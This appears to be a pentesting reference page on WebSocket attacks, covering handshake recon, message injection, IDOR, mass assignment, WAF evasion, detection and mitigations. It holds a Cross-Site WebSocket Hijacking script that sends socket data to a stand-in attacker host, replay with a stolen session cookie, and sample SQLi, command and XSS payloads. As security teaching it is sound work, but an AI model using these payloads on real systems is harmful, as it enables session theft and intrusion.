Skip to content

WebSockets

Full-duplex channel over a single TCP connection, opened with an HTTP handshake (Upgrade: websocket) and then kept alive with binary/text frames. It breaks the request-response model: the server pushes data, cookies are not re-sent per message, and many HTTP-oriented controls (WAF, per-endpoint authZ, CSRF tokens) do not apply to messages once the tunnel is open.

The weak point is rarely the protocol itself but what is trusted from the handshake and what is validated per message. If authorization is checked only on connect and not per action, anyone who opens the socket wins. If Origin is not validated, a third-party page opens the socket with the victim’s cookies (CSWSH). And since messages are usually JSON that ends up in a query or in eval, the same old injection bugs reappear with no WAF in front.

GET /chat HTTP/1.1
Host: target
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
Origin: https://target
Cookie: session=...

Response 101 Switching Protocols + Sec-WebSocket-Accept. From here traffic is frames, not HTTP. Cookies travel only in this initial request.

  • Grep the app JS for new WebSocket(, ws://, wss://, socket.io, SignalR, stomp.
  • DevTools → Network → WS filter → Messages tab to read traffic in the clear.
  • Proxy: Burp intercepts and lets you replay/edit WS messages from the WebSocket history.

Replay and inject without a GUI, using websocat:

websocat -H='Cookie: session=STOLEN' wss://target/chat
# type messages on stdin, read responses on stdout
{"action":"getMessages","room":"1"}
{"action":"getMessages","room":"../admin"}

Vectors on message content (the server usually treats it as trusted):

  • Back-end injection: {"q":"' OR 1=1-- -"} → SQLi; {"cmd":"id"} → command injection if the back-end executes it.
  • Stored XSS via WS: a chat message <img src=x onerror=...> that other clients render unescaped.
  • Per-message IDOR: change userId/roomId/orderId in each action; authZ is rarely re-checked per message.
  • Mass assignment: add "role":"admin" to a profile-update payload.

If the server does not validate Origin and the session rides on a cookie, an attacker page opens the socket with the victim’s credentials:

<script>
var ws = new WebSocket("wss://target/chat");
ws.onopen = () => ws.send('{"action":"getMessages"}');
ws.onmessage = e => fetch("https://attacker/x?d="+encodeURIComponent(e.data));
</script>

Equivalent to CSRF with response read-back: you exfiltrate everything the socket returns.

  • The WAF usually inspects the handshake but not later frames → put the payload in messages, not the URL.
  • Fragment the message across continuation frames if inspection is partial.
  • Sec-WebSocket-Protocol sometimes routes to different backends with uneven validation.
  • websocat — CLI client, tunneling, scripting.
  • Burp Suite — WS intercept/replay, WebSocket Turbo Intruder extension for fuzzing.
  • wsrepl, STEWS — WS-specific fuzzing and discovery.

Session/message theft (CSWSH), RCE/SQLi with no WAF, privilege escalation via IDOR/mass assignment, XSS propagated to every connected client.

  • WS messages with SQL/command/HTML syntax in application logs.
  • Handshakes with missing or unexpected Origin.
  • A single socket touching identifiers belonging to many different users.

Log Origin, authenticated user, and action for every message, not just the open. Correlate socket ↔ identity.

  • Validate Origin in the handshake against a strict allowlist.
  • Authorize each message, not just the connection; never trust client-supplied IDs.
  • Always use wss:// (TLS); short-lived session tokens with re-check.
  • Treat message content as untrusted input: validate schema (JSON schema), escape on output, parameterize queries.
  • Rate-limit per socket and cap frame size/rate.

Close attacker sockets, invalidate affected sessions, review what data was exfiltrated over the channel.

  • CSWSH (Cross-Site WebSocket Hijacking) — patterns from missing Origin validation documented by PortSwigger; usually reported as bug bounty findings rather than a specific CVE.
  • Slack / chat stacks — historically, XSS propagated via messages rendered without sanitization.
  • Socket.IO / engine.io — parsing bugs and missing origin validation in misconfigured integrations.
  • PortSwigger Web Security Academy has reproducible labs for CSWSH and per-message injection.
  • Does the handshake validate Origin against an allowlist? (try opening from another origin)
  • Can the socket be reopened with victim cookies from a third-party page? (CSWSH)
  • Is authorization re-checked per message or only on connect?
  • Are message IDs (userId, roomId) manipulable? (IDOR/BFLA)
  • Does message content reach SQL, commands, templates, or HTML unsanitized?
  • Can you add unexpected fields to the payload? (mass assignment)
  • Is there per-socket rate-limiting?
  • Is transport wss:// (TLS) throughout?